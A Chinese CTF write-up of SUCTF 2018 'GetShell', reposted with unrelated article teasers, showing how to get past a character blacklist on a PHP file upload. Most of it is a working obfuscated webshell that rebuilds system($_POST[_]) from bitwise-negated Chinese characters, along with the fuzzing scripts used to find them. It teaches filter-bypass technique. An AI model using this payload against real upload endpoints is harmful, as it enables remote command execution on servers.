[SUCTF 2018]GetShell

在这里插入图片描述
在这里插入图片描述
查看源代码发现源码

if($contents=file_get_contents($_FILES["file"]["tmp_name"])){    保存上传文件在临时文件目录$data=substr($contents,5);       切片从第五个字符开始之后的所有字符foreach ($black_char as $b) {             看看有没有黑名单有就不给过if (stripos($data, $b) !== false){die("illegal char");}}     
} 

在这里插入图片描述
随便上传了个文件发现后缀被转为php也就是说会被解析成php文件
在这里插入图片描述
那么我们要构造一个shell
内容为

assert($_POST[_]);
这个也是盲猜的因为局限性很大必须是php7.2之前的版本才可以,那么还是搞个system来用吧
system($_POST[_]);

这道题原理不难就是fuzz比较难做
先利用ascii原理生成字典

for i in range(32,127):print(chr(i))
system($_POST[_]);
$_=[]; //array
$__=$_.$_; /arrayarray
$_=($_==$__);//$_=(array==arrayarray) false 0
$__=($_==$_);//$__=(array==array) true 1$___=~[$__].~[$__].~[$__].~[$__].~[$__].~[$__];//system
$____=~[$__].~[$__].~[$__].~[$__].~[$__];//_POST$___($$____[_]);//system($_POST[_]);
<?=$_=[];$__=$_.$_;$_=($_==$__);$__=($_==$_);$___=~[$__].~[$__].~[$__].~[$__].~[$__].~[$__];$____=~[$__].~[$__].~[$__].~[$__].~[$__];$___($$____[_]);
assert($_POST[_]);
<?php
$__=[];
$_=($__==$__);
$__=~();
$___=$__[$_];
$__=~();
$___.=$__[$_].$__[$_];
$__=~();
$___.=$__[$_];
$__=~();
$___.=$__[$_];
$__=~();
$___.=$__[$_];
$____=~(~(_));
$__=~();
$____.=$__[$_];
$__=~();
$____.=$__[$_];
$__=~();
$____.=$__[$_];
$__=~();
$____.=$__[$_];
$_=$$____;
$___($_[_]);

在这里插入图片描述
诶那么这里思路就很明确了
基本是和自增差不多的只不多我们这里使用取反来做

$ (  )  .  ;  =  [  ]  _  ~ 

没有东西怎么构造字符串,那么汉字也是在可控范围内的,这是一个特性

<?php
$str = "在这场绿色转型的浪潮中,生态智慧成为了关键词。未来的城市不再仅仅是钢筋水泥的丛林,而是自然与技术完美融合的生态乐园。绿色建筑,利用太阳能板、雨水收集系统与垂直花园,不仅减少了对自然资源的依赖,还提升了居民的生活质量。智能电网通过高效分配可再生能源,确保了电力供应的清洁与稳定,而无人驾驶公共交通系统则大幅降低了碳排放,重新定义了都市出行的方式。循环经济的概念深入城市规划的核心,废弃物不再是负担,而是资源循环的宝贵原料。城市垃圾通过高科技分类与处理,转化为能源或新型材料,实现了真正的“变废为宝”。同时,城市农业的兴起,让高楼大厦的屋顶和空闲空间变身成为都市绿洲,为市民提供了新鲜、无公害的食材,缩短了食物供应链,促进了社区的自给自足能力。然而,这一切变革并非一蹴而就,它需要政策制定者的远见卓识、科学家的不懈探索、企业家的创新实践以及每一位公民的积极参与。公众教育与意识提升成为推动绿色转型不可或缺的力量,通过学校教育、媒体宣传和社会活动,增强大众对于环境保护的责任感与行动力。面对气候变化的严峻挑战,未来的城市还将进一步探索气候适应性设计,比如建设能够抵御极端天气事件的基础设施,以及发展蓝色基础设施,保护和恢复城市水系,以应对海平面上升和城市内涝问题。总而言之,未来城市的绿色转型是一场全方位、多层次的社会运动,它要求我们在尊重自然法则的同时,发挥人类的创造力与合作精神。这不仅是对现有生活方式的一次深刻反思,更是对未来世代的一份责任与承诺。在这个过程中,每一座城市、每一个社区乃至每一个个体的选择与努力,都将汇聚成推动地球走向更加绿色、健康、繁荣未来的强大力量。";
$num = strlen($str);
$worl = ~mb_substr($str,0,1,'utf-8');for($i=0; $i<$num;$i++){$worl = mb_substr($str,$i,1,'utf-8');$ans = ~$worl;if($ans[1]=='s' || $ans[1]=='y'|| $ans[1]=='e' || $ans[1]=='m' || $ans[1]=='t' || $ans[1]=='P' ||$ans[1]=='O' ||$ans[1]=='S' ||$ans[1]=='T' ||$ans[1]=='_'){echo $ans[1];echo $worl;echo "<br>";
}
}
?>
e的<br>P词<br>e的<br>y再<br>m钢<br>O水<br>e的<br>e的<br>O水<br>O少<br>P对<br>e的<br>O民<br>e的<br>T高<br>y再<br>e的<br>e的<br>e的<br>e的<br>_核<br>y再<br>t担<br>e的<br>T高<br>s化<br>e的<br>y农<br>e的<br>T高<br>e的<br>m和<br>O民<br>e的<br>s区<br>e的<br>O就<br>e的<br>P识<br>e的<br>e的<br>P每<br>O民<br>e的<br>P识<br>e的<br>_校<br>m和<br>P对<br>e的<br>P对<br>O气<br>s化<br>e的<br>s挑<br>e的<br>O将<br>O气<br>P比<br>T端<br>O气<br>e的<br>m和<br>O水<br>P对<br>m和<br>y内<br>e的<br>S次<br>e的<br>O尊<br>e的<br>s挥<br>e的<br>P对<br>e的<br>S次<br>P对<br>e的<br>P诺<br>P每<br>P每<br>s区<br>P每<br>e的<br>t择<br>O将<br>e的<br>

上面两个payload是别的师傅构造的这个是我自己构造的


<?php
$_ = [];
//echo $_;
$__ = $_ . $_;
//echo $__;
$_ = ($_ == $__);   //false 0 没啥用可以不写
$__ = ($_ == $_);   //true 1 全部都用的这个
// var_dump($_);
// var_dump($__);
$___=~[$__].~[$__].~[$__].~[$__].~[$__].~[$__];
//var_dump($___);
$____=~[$__].~[$__].~[$__].~[$__].~[$__]; 
var_dump($____);
//$___($$____[_]);
?>

构造$_POST的时候不能直接写我就是贪了然后浪费了一些时间
在这里插入图片描述
在这里插入图片描述

诶他把<>?过滤了怎么办呢,没关系,我们只要有php头即可正常解析
最后把格式调整一下上传的是这个

<?=$_=[];$__=$_.$_;$_=($_==$__);$__=($_==$_);$___=~化[$__].~再[$__].~化[$__].~担[$__].~的[$__].~和[$__];$____=~校[$__].~识[$__].~水[$__].~次[$__].~端[$__];$___($$____[_]);

那么这道题就可以任意命令执行了
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/46865.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

XMind PRO 最新2024版 思维导图软件安装下载教程,免费领取,图文步骤详解(内置软件包,可激活使用)

文章目录 软件介绍软件下载安装步骤激活步骤 软件介绍 XMind 2024是一款功能强大的思维导图和头脑风暴软件&#xff0c;它帮助用户清晰地组织和表达思维&#xff0c;融合艺术与创造力&#xff0c;使思维过程更加高效和直观。以下是关于XMind 2024的详细介绍&#xff1a; 主要功…

[数据集][目标检测]婴儿车检测数据集VOC+YOLO格式1073张5类别

数据集格式&#xff1a;Pascal VOC格式YOLO格式(不包含分割路径的txt文件&#xff0c;仅仅包含jpg图片以及对应的VOC格式xml文件和yolo格式txt文件) 图片数量(jpg文件个数)&#xff1a;1073 标注数量(xml文件个数)&#xff1a;1073 标注数量(txt文件个数)&#xff1a;1073 标注…

Java 和 SpringBoot 中的设计模式 详解

一、建造者模式 发生场景 假如有一结果api结果返回值的类Person&#xff0c;其在代码中频繁被使用。如果要使用它&#xff0c;一般的方法是&#xff1a; public class Main {public static void main(String[] args) {//方法1&#xff0c;使用全量的构造函数Person person1 …

MF173:将多个工作表转换成PDF文件

我给VBA的定义&#xff1a;VBA是个人小型自动化处理的有效工具。利用好了&#xff0c;可以大大提高自己的工作效率&#xff0c;而且可以提高数据的准确度。“VBA语言専攻”提供的教程一共九套&#xff0c;分为初级、中级、高级三大部分&#xff0c;教程是对VBA的系统讲解&#…

三、初识C语言(3)

1.操作符 &#xff08;1&#xff09;算术操作符 - * / % 商 余&#xff08;取模&#xff09; 小算法&#xff1a; 若a<b&#xff0c;则a%b a 若a%b c&#xff0c;则0 < c < b-1 若两个int 类型数相除&#xff0c;结果有小数会被舍弃。 保留小数…

LeetCode岛屿的最大面积(深度搜索)/什么是深搜,简单案例回顾图用邻接表实现图的深度优先遍历。

看这道题不懂深度搜索的可以看看下面讲述 岛屿的最大面积 解题思路 代码 class Solution {int dfs(vector<vector<int>>& grid, int cur_i, int cur_j) {//确定边界if((cur_i >0 && cur_i < grid.size()) && (cur_j >0 &&…

开机出现grub无法进入系统_电脑开机出现grub解决方法

最近有小伙伴问我电脑开机出现grub无法进入系统怎么回事&#xff1f;电脑开机出grub的情况有很多&#xff0c;电脑上安装了Linux和Win10双系统&#xff0c;但是由于格式化删除了Linux之后&#xff0c;结果win10开机了之后&#xff0c;直接显示grub&#xff1e;&#xff0c;无法…

MySQL事务管理(上)

MySQL注定会被多个用户或者客户端&#xff0c;因为MySQL存的是数据&#xff1b;MySQL内部使用的是多线程的方式来实现数据的存储工作&#xff1b; 前言 CURD不加控制&#xff0c;会有什么问题&#xff1f; 如今有个数据库里面是火车票售票系统所对应的数据库表&#xff1b;M…

.net6 core Worker Service项目,使用Exchange Web Services (EWS) 分页获取电子邮件收件箱列表,邮件信息字段

Program.cs 安装包&#xff1a;Microsoft.AspNetCore.Hosting.WindowsServices、Microsoft.Extensions.Hosting、Microsoft.Extensions.Hosting.WindowsServices、Microsoft.Extensions.Logging.Log4Net.AspNetCore 新建Configs/log4net.config using Com.Chinahorn.Exchange.W…

ubantu22.04安装OceanBase 数据库

1、管理员启动cmd,运行 sudo bash -c "$(curl -s https://obbusiness-private.oss-cn-shanghai.aliyuncs.com/download-center/opensource/service/installer.sh)" 2、提示如下代表安装完成 3、修改数据库配置文件的密码 sudo vim /etc/oceanbase.cnf 然后保存退…

正则表达式(Ⅰ)——基本匹配

学习练习建议 正则表达式用途非常广泛&#xff0c;各种语言中都能见到它的身影&#xff08;js&#xff0c;java&#xff0c;mysql等&#xff09; 正则表达式可以快读校验/生成/替换符合要求的模式的字符串&#xff0c;而且语法通俗易懂&#xff0c;所以应用广泛 学习链接&am…

css前端面试题

1.什么是css盒子模型&#xff1f; 盒子模型包含了元素内容&#xff08;content&#xff09;、内边距&#xff08;padding&#xff09;、边框&#xff08;border&#xff09;、外边距&#xff08;margin&#xff09;几个要素。 标准盒子模型和IE盒子模型的区别在于其对元素的w…

C++模板进阶和模板链接错误的解决

小编在学习模板进阶之后&#xff0c;觉得模板的内容很有用&#xff0c;所以今天带给大家的内容是模板进阶的所有内容&#xff0c;内容包括模板的使用&#xff0c;模板的特化&#xff0c;模板的全特化&#xff0c;模板的偏特化&#xff0c;模板链接时候会出现的链接错误及解决方…

Ubuntu系统SSH免密连接Github配置方法

Ubuntu系统SSH免密连接Github配置方法 一、相关介绍1.1 Ubuntu简介1.2 Git简介1.3 Github简介 二、本地环境介绍2.1 本地环境规划2.2 本次实践介绍 三、检查本地环境3.1 检查本地操作系统版本3.2 检查系统内核版本 四、Git本地环境配置工作4.1 安装Git工具4.2 创建项目目录4.3 …

STM32被拔网线 LWIP的TCP无法重连解决方案

目录 一、问题描述 二、项目构成 三、问题解决 1.问题代码 2.解决思路 3.核心代码&#xff1a; 四、完整代码 1.监测网口插入拔出任务 2.TCP任务 3.创建tcp任务 4.删除tcp任务 五、总结 一、问题描述 最近遇到一个问题&#xff0c;就是我的stm32设备作为tcp客户端…

AndroidStudio与手机进行无线调试

(一)、前提条件 一部手机一条USB数据线一部电脑手机和电脑连接到同一个 Wifi开启手机的USB调试功能开启手机的无线调试功能 (二)、操作步骤 1、 将手机和电脑用USB数据线连接 2、 打开 终端&#xff0c;输入 adb devices ,查看手机和电脑是否连接成功。如下图&#xff1a; 2、…

Linux驱动开发-06蜂鸣器和多组GPIO控制

一、控制蜂鸣器 1.1 控制原理 我们可以看到SNVS_TAMPER1是这个端口在控制着蜂鸣器,同时这是一个PNP型的三极管,在端口输出为低电平时,蜂鸣器响,在高电平时,蜂鸣器不响 1.2 在Linux中端口号的控制 gpiochipX:当前SoC所包含的GPIO控制器,我们知道I.MX6UL/I.MX6ULL一共包…

Atom - hackmyvm

简介 靶机名称&#xff1a;Atom 难度&#xff1a;简单 靶场地址&#xff1a;https://hackmyvm.eu/machines/machine.php?vmAtom 本地环境 虚拟机&#xff1a;vitual box 靶场IP&#xff08;Atom&#xff09;&#xff1a;192.168.56.101 跳板机IP(windows 11)&#xff1…

多显示器,如何快速切换电脑显示模式!

​一般在使用多显示器的情况下,可能我们要根据不同的工作需求来动态调整相适应的Windows显示模式,像扩展模式、复制模式、单显示器等模式。调整相应的模式方法也不止一种,下面一起了解下不同的方法如何快速操作实现! 快捷键法(WIN+P) 同时按下键盘徽标键WIN+P,会弹出个选…

微软发布iOS/安卓正式版Designer应用,AI修图功能助力创意设计

一、Microsoft Designer应用正式上线 AITOP100平台获悉&#xff0c;微软一直致力于为用户提供优质的创意工具&#xff0c;此次推出的Microsoft Designer应用正是其在移动端的重要布局。这款应用已正式上线iOS、Android、Windows和网页版本&#xff0c;满足不同用户的需求。微软…